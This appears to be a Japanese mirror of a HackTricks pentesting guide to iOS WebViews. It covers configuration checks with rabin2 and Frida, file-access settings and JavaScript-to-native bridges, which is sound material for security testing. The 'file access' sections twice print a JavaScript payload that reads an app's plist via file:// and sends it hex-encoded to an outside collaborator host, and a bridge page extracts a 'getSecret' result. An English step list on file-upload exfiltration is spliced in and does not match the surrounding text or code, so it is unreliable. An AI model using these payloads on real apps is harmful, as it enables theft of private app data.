mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
431 lines
30 KiB
Markdown
431 lines
30 KiB
Markdown
# iOS WebViews
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
|
||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
|
||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||
|
||
</details>
|
||
|
||
## WebViewsの種類
|
||
|
||
WebViewsは、インタラクティブな**ウェブコンテンツ**を表示するためのアプリ内ブラウザコンポーネントです。これらはアプリのユーザーインターフェースに直接ウェブコンテンツを埋め込むために使用されます。iOSのWebViewsは、デフォルトで**JavaScriptの実行をサポート**しているため、スクリプトの注入やクロスサイトスクリプティング攻撃の影響を受ける可能性があります。
|
||
|
||
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** iOS 12以降では非推奨となり、使用すべきではありません。**JavaScriptを無効にすることはできません**。
|
||
|
||
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): これはアプリの機能を拡張し、表示されるコンテンツを制御するための適切な選択肢です。
|
||
|
||
* **JavaScript**はデフォルトで有効ですが、`WKWebView`の`javaScriptEnabled`プロパティにより、すべてのスクリプト注入の脆弱性を完全に無効にすることができます。
|
||
|
||
* **`JavaScriptCanOpenWindowsAutomatically`**は、ポップアップなどの新しいウィンドウをJavaScriptが開くのを**防止**するために使用できます。
|
||
|
||
* **`hasOnlySecureContent`**プロパティは、WebViewによって読み込まれるリソースが暗号化された接続を介して取得されていることを検証するために使用できます。
|
||
|
||
* `WKWebView`はプロセス外レンダリングを実装しているため、メモリの破損バグはメインのアプリプロセスに影響を与えません。
|
||
|
||
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** これは**一般的なウェブ閲覧体験**を提供するために使用するべきです。これらのWebViewsは、以下の要素を含む特徴的なレイアウトを持っているため、簡単に見つけることができます。
|
||
|
||
* セキュリティインジケータを持つ読み取り専用のアドレスフィールド。
|
||
|
||
* アクション(「**共有**」)**ボタン**。
|
||
|
||
* **完了ボタン**、戻ると進むのナビゲーションボタン、およびページを直接Safariで開く「Safari」ボタン。
|
||
|
||
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
|
||
|
||
* `SFSafariViewController`では**JavaScriptを無効にすることはできず**、これは`WKWebView`の使用が推奨される理由の1つです。
|
||
|
||
* `SFSafariViewController`はまた、**クッキー**や他のウェブサイトデータを**Safari**と共有します。
|
||
|
||
* ユーザーの`SFSafariViewController`でのアクティビティやインタラクションは、アプリからは**見えない**ため、AutoFillデータ、閲覧履歴、またはウェブサイトデータにアクセスすることはできません。
|
||
|
||
* App Storeのレビューガイドラインによれば、`SFSafariViewController`は**他のビューやレイヤーによって隠されたり覆われたりしてはなりません**。
|
||
|
||
## WebViewsの設定の発見
|
||
|
||
### 静的解析
|
||
|
||
**UIWebView**
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
|
||
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
|
||
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
|
||
```
|
||
**WKWebView**
|
||
|
||
WKWebViewは、iOSアプリケーション内でWebコンテンツを表示するためのコンポーネントです。UIWebViewに比べて高速でパフォーマンスが向上しており、ネイティブアプリケーションと同様の機能を提供します。
|
||
|
||
WKWebViewは、iOS 8以降で利用可能であり、Safariと同じWebKitエンジンを使用しています。これにより、モバイルアプリケーション内でWebページを表示する際に、高速かつ安全なブラウジング体験を提供することができます。
|
||
|
||
WKWebViewは、以下のような特徴を持っています。
|
||
|
||
- JavaScriptの実行と通信のサポート
|
||
- カスタムスクリプトの実行
|
||
- ページの読み込み状態の監視
|
||
- ページのスクロールとズームのサポート
|
||
- ユーザーの操作に対するイベントの処理
|
||
- クッキーの管理
|
||
- セキュリティポリシーの適用
|
||
|
||
WKWebViewは、iOSアプリケーションのセキュリティに関する重要な要素でもあります。適切なセキュリティ設定を行わないと、悪意のある攻撃者によってアプリケーションの情報が漏洩する可能性があります。したがって、iOSアプリケーションのペネトレーションテストにおいては、WKWebViewのセキュリティ設定を確認することが重要です。
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
|
||
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
|
||
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
|
||
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
|
||
```
|
||
代わりに、これらのWebViewクラスの既知のメソッドを検索することもできます。例えば、WKWebViewを初期化するために使用されるメソッド([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init))を検索してください。
|
||
```bash
|
||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
||
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
||
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
||
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
||
```
|
||
#### JavaScriptの設定のテスト
|
||
|
||
`WKWebView`においては、ベストプラクティスとして、JavaScriptは明示的に必要な場合を除き無効にする必要があります。JavaScriptが適切に無効化されているかを確認するために、`WKPreferences`の使用箇所をプロジェクト内で検索し、[`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled)プロパティが`false`に設定されていることを確認してください。
|
||
```
|
||
let webPreferences = WKPreferences()
|
||
webPreferences.javaScriptEnabled = false
|
||
```
|
||
もしコンパイルされたバイナリしか持っていない場合、それを検索することができます。
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
|
||
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
|
||
```
|
||
#### OnlySecureContentのテスト
|
||
|
||
`UIWebView`とは異なり、`WKWebView`を使用すると、[ミックスコンテンツ](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en)(HTTPSページから読み込まれたHTTPコンテンツ)を検出することができます。[`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent)メソッドを使用することで、ページ上のすべてのリソースが安全に暗号化された接続を介して読み込まれたかどうかを確認することができます。\
|
||
コンパイルされたバイナリでは、
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||
```
|
||
ソースコードや文字列内で "http://" という文字列を検索することもできます。ただし、これは必ずしもミックスコンテンツの問題があることを意味するわけではありません。ミックスコンテンツについて詳しくは、[MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content)を参照してください。
|
||
|
||
### 動的解析
|
||
|
||
`ObjC.choose()` を使用してヒープを検査し、さまざまなタイプの WebView のインスタンスを見つけることができます。また、`javaScriptEnabled` と `hasonlysecurecontent` のプロパティを検索することもできます。
|
||
|
||
{% code title="webviews_inspector.js" %}
|
||
```javascript
|
||
ObjC.choose(ObjC.classes['UIWebView'], {
|
||
onMatch: function (ui) {
|
||
console.log('onMatch: ', ui);
|
||
console.log('URL: ', ui.request().toString());
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for UIWebView!');
|
||
}
|
||
});
|
||
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('URL: ', wk.URL().toString());
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for WKWebView!');
|
||
}
|
||
});
|
||
|
||
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
||
onMatch: function (sf) {
|
||
console.log('onMatch: ', sf);
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for SFSafariViewController!');
|
||
}
|
||
});
|
||
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
||
}
|
||
});
|
||
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||
}
|
||
});
|
||
```
|
||
{% endcode %}
|
||
|
||
次のコードを使用して読み込みます:
|
||
```bash
|
||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||
|
||
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
||
|
||
hasOnlySecureContent: false
|
||
```
|
||
## WebViewプロトコルの処理
|
||
|
||
iOS上のWebViewでは、いくつかのデフォルトのスキームが利用可能です。例えば:
|
||
|
||
* http(s)://
|
||
* file://
|
||
* tel://
|
||
|
||
WebViewはエンドポイントからリモートコンテンツを読み込むことができますが、アプリのデータディレクトリからもローカルコンテンツを読み込むことができます。ローカルコンテンツが読み込まれる場合、ユーザーはファイル名やパスを変更することはできず、読み込まれたファイルを編集することもできません。
|
||
|
||
### WebViewコンテンツの読み込み
|
||
|
||
* **UIWebView**: 非推奨のメソッド [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) や [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) を使用してコンテンツを読み込むことができます。
|
||
* **WKWebView**: メソッド [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) や [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) を使用してローカルのHTMLファイルを読み込むことができます。また、webコンテンツの読み込みには `loadRequest:` を使用します。通常、ローカルファイルは、[`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource)、[`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc)、[`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init)などのメソッドと組み合わせて読み込まれます。さらに、アプリがメソッド [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc) を使用しているかどうかも確認する必要があります。このメソッドの最初のパラメータは `URL` であり、WebViewに読み込まれるURLを含みます。2番目のパラメータ `allowingReadAccessToURL` には、単一のファイルまたはディレクトリが含まれる場合があります。単一のファイルが含まれる場合、そのファイルはWebViewで利用可能になります。ただし、ディレクトリが含まれる場合、そのディレクトリ内のすべてのファイルがWebViewで利用可能になります。したがって、これを調査し、ディレクトリの場合は内部に機密データが含まれていないことを確認する価値があります。
|
||
|
||
ソースコードがある場合は、これらのメソッドを検索することができます。**コンパイルされた** **バイナリ**がある場合は、次のメソッドを検索することもできます:
|
||
```bash
|
||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||
```
|
||
### ファイルアクセス
|
||
|
||
* **UIWebView:**
|
||
* `file://` スキームは常に有効です。
|
||
* `file://` URL からのファイルアクセスは常に有効です。
|
||
* `file://` URL からのユニバーサルアクセスは常に有効です。
|
||
* `baseURL` も `nil` に設定された `UIWebView` から有効なオリジンを取得すると、"null" ではなく、次のようなものが得られます: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`0。このオリジン "applewebdata://" は "file://" オリジンと似ており、**同一オリジンポリシーを実装していない**ため、ローカルファイルや任意のウェブリソースへのアクセスを許可します。
|
||
|
||
{% tabs %}
|
||
{% tab title="exfiltrate_file" %}
|
||
```javascript
|
||
String.prototype.hexEncode = function(){
|
||
var hex, i;
|
||
var result = "";
|
||
for (i=0; i<this.length; i++) {
|
||
hex = this.charCodeAt(i).toString(16);
|
||
result += ("000"+hex).slice(-4);
|
||
}
|
||
return result
|
||
}
|
||
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
var xhr2 = new XMLHttpRequest();
|
||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||
xhr2.send(null);
|
||
}
|
||
}
|
||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||
xhr.send(null);
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
* **WKWebView**(WKWebView):
|
||
* **`allowFileAccessFromFileURLs`**(`WKPreferences`、デフォルトでは`false`):これにより、`file://`スキームURLのコンテキストで実行されるJavaScriptが他の`file://`スキームURLからコンテンツにアクセスできるようになります。
|
||
* **`allowUniversalAccessFromFileURLs`**(`WKWebViewConfiguration`、デフォルトでは`false`):これにより、`file://`スキームURLのコンテキストで実行されるJavaScriptが任意のオリジンからコンテンツにアクセスできるようになります。
|
||
|
||
これらの関数は、アプリケーションのソースコードやコンパイルされたバイナリで検索することができます。\
|
||
また、次のFridaスクリプトを使用して、この情報を見つけることもできます:
|
||
```bash
|
||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
onMatch: function (wk) {
|
||
console.log('onMatch: ', wk);
|
||
console.log('URL: ', wk.URL().toString());
|
||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||
console.log('allowFileAccessFromFileURLs: ',
|
||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||
console.log('allowUniversalAccessFromFileURLs: ',
|
||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||
},
|
||
onComplete: function () {
|
||
console.log('done for WKWebView!');
|
||
}
|
||
});
|
||
```
|
||
|
||
```bash
|
||
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||
|
||
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
||
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
|
||
Library/WKWebView/scenario1.html
|
||
javaScriptEnabled: true
|
||
allowFileAccessFromFileURLs: 0
|
||
hasOnlySecureContent: false
|
||
allowUniversalAccessFromFileURLs: 0
|
||
```
|
||
#### 任意のファイルを外部に持ち出す
|
||
|
||
To exfiltrate arbitrary files from an iOS app's webview, you can use the following steps:
|
||
|
||
1. Identify the webview's file upload functionality.
|
||
2. Craft a malicious file that contains the data you want to exfiltrate.
|
||
3. Use a file upload vulnerability to upload the malicious file to the webview.
|
||
4. Intercept the file upload request using a proxy tool like Burp Suite.
|
||
5. Modify the request to exfiltrate the file to an external server or storage.
|
||
6. Verify that the file has been successfully exfiltrated.
|
||
|
||
Note: This technique may require additional steps depending on the specific app and its security measures.
|
||
```javascript
|
||
//For some reason this payload doesn't work!!
|
||
//Let me know if you know how to exfiltrate local files from a WKWebView
|
||
String.prototype.hexEncode = function(){
|
||
var hex, i;
|
||
var result = "";
|
||
for (i=0; i<this.length; i++) {
|
||
hex = this.charCodeAt(i).toString(16);
|
||
result += ("000"+hex).slice(-4);
|
||
}
|
||
return result
|
||
}
|
||
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
var xhr2 = new XMLHttpRequest();
|
||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||
xhr2.send(null);
|
||
}
|
||
}
|
||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||
xhr.send(null);
|
||
```
|
||
## WebViewを介した公開されたネイティブメソッド
|
||
|
||
iOS 7以降、AppleはWebView内のJavaScriptランタイムとネイティブのSwiftまたはObjective-Cオブジェクト間の通信を可能にするAPIを導入しました。
|
||
|
||
ネイティブコードとJavaScriptの通信方法には、次の2つの基本的な方法があります。
|
||
|
||
* **JSContext**: Objective-CまたはSwiftのブロックが`JSContext`の識別子に割り当てられると、JavaScriptCoreは自動的にブロックをJavaScript関数でラップします。
|
||
* **JSExportプロトコル**: `JSExport`を継承したプロトコルで宣言されたプロパティ、インスタンスメソッド、クラスメソッドは、すべてのJavaScriptコードで利用可能なJavaScriptオブジェクトにマッピングされます。JavaScript環境内のオブジェクトの変更は、ネイティブ環境に反映されます。
|
||
|
||
注意点として、**`JSExport`プロトコルで定義されたクラスメンバーのみ**がJavaScriptコードからアクセス可能になります。\
|
||
WebViewに関連付けられた`JSContext`にネイティブオブジェクトをマッピングするコードを探し、公開される機能を分析してください。例えば、機密データはWebViewからアクセス可能で公開されるべきではありません。\
|
||
Objective-Cでは、`UIWebView`に関連付けられた`JSContext`は次のように取得されます:
|
||
```objectivec
|
||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||
```
|
||
**`WKWebView`内のJavaScriptコードは、ネイティブアプリにメッセージを送信することができますが、`UIWebView`とは異なり、`WKWebView`の`JSContext`を直接参照することはできません**。代わりに、メッセージングシステムと`postMessage`関数を使用して通信を実装します。この関数は、JavaScriptオブジェクトをネイティブのObjective-CまたはSwiftオブジェクトに自動的にシリアライズします。メッセージハンドラは、[`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add)メソッドを使用して構成されます。
|
||
|
||
### JavaScriptBridgeの有効化
|
||
```swift
|
||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||
options_dict["javaScriptBridge"]?.value = enabled
|
||
let userContentController = wkWebViewConfiguration.userContentController
|
||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||
|
||
if enabled {
|
||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||
}
|
||
}
|
||
```
|
||
### メッセージの送信
|
||
|
||
名前が「"name"」(または上記の例では「"javaScriptBridge"」)のスクリプトメッセージハンドラを追加すると、ユーザーコンテンツコントローラを使用するすべてのウェブビューのすべてのフレームに、JavaScript関数`window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage`が定義されます。それは[次のようにHTMLファイルから使用することができます](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33)。
|
||
```javascript
|
||
function invokeNativeOperation() {
|
||
value1 = document.getElementById("value1").value
|
||
value2 = document.getElementById("value2").value
|
||
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||
}
|
||
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
|
||
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
|
||
|
||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||
```
|
||
ネイティブ関数が実行されると、通常は**ウェブページ内でいくつかのJavaScriptが実行されます**(以下の`evaluateJavascript`を参照)。実行される関数を**上書きして結果を盗む**ことに興味があるかもしれません。\
|
||
例えば、以下のスクリプトでは、関数**`javascriptBridgeCallBack`**が2つのパラメータ(呼び出された関数と**結果**)と共に実行されます。ロードされるHTMLを制御できる場合、結果を含む**アラートを作成**することができます。
|
||
```markup
|
||
<html>
|
||
<script>
|
||
document.location = "javascriptbridge://getSecret"
|
||
function javascriptBridgeCallBack(name, result) {
|
||
alert(result);
|
||
}
|
||
</script>
|
||
</html>
|
||
```
|
||
### 呼び出される関数
|
||
|
||
呼び出される関数は[`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29)にあります。
|
||
```swift
|
||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||
|
||
//...
|
||
|
||
case "multiplyNumbers":
|
||
|
||
let arg1 = Double(messageArray[1])!
|
||
let arg2 = Double(messageArray[2])!
|
||
result = String(arg1 * arg2)
|
||
//...
|
||
|
||
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||
```
|
||
### テスト
|
||
|
||
アプリケーション内でpostMessageをテストするためには、次の方法があります。
|
||
|
||
- サーバーの応答を変更する(MitM)
|
||
- Fridaなどのフレームワークを使用して動的なインストルメンテーションを実行し、iOSのWebViews用に利用可能な対応するJavaScript評価関数(`UIWebView`の[`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc)および`WKWebView`の[`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc))を使用してJavaScriptペイロードを注入する。
|
||
|
||
## iOS WebViewsのデバッグ
|
||
|
||
([https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)からのチュートリアル)
|
||
|
||
iOSのWebViewsでは、`console.log()`に渡されたメッセージはXcodeのログには表示されません。Safariの開発者ツールを使用してWebコンテンツをデバッグすることはまだ比較的簡単ですが、いくつかの制限があります。
|
||
|
||
- iOSのWebViewsのデバッグにはSafariが必要なため、開発用のコンピュータはmacOSで実行されている必要があります。
|
||
- App StoreやApple Configuratorを介してインストールされたアプリでは、WebViewsのデバッグはできません。
|
||
|
||
これらの制限を考慮して、iOSのWebViewsをリモートでデバッグする手順は次のとおりです。
|
||
|
||
- まず、iOSデバイスでSafari Web Inspectorを有効にするために、iOSの「設定」アプリを開き、「設定 > Safari > 詳細設定」に移動し、「Web Inspector」オプションをオンにします。
|
||
|
||
![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
|
||
|
||
- 次に、開発用のコンピュータでSafariの開発者ツールも有効にする必要があります。開発用のマシンでSafariを起動し、メニューバーの「Safari > 環境設定」に移動します。表示される環境設定パネルで、「詳細」タブをクリックし、一番下にある「開発メニューを表示」オプションを有効にします。これを行った後、環境設定パネルを閉じることができます。
|
||
|
||
![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
|
||
|
||
- iOSデバイスを開発用のコンピュータに接続し、アプリを起動します。
|
||
- 開発用のコンピュータのSafariで、メニューバーの「開発」をクリックし、iOSデバイスの名前であるドロップダウンオプションにカーソルを合わせると、iOSデバイス上で実行されているWebviewインスタンスのリストが表示されます。
|
||
|
||
![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
|
||
|
||
- デバッグしたいWebviewのドロップダウンオプションをクリックします。これにより、Webviewを検査するための新しいSafari Web Inspectorウィンドウが開きます。
|
||
|
||
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
|
||
|
||
## 参考文献
|
||
|
||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
|
||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
|
||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
|
||
|
||
- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||
|
||
</details>
|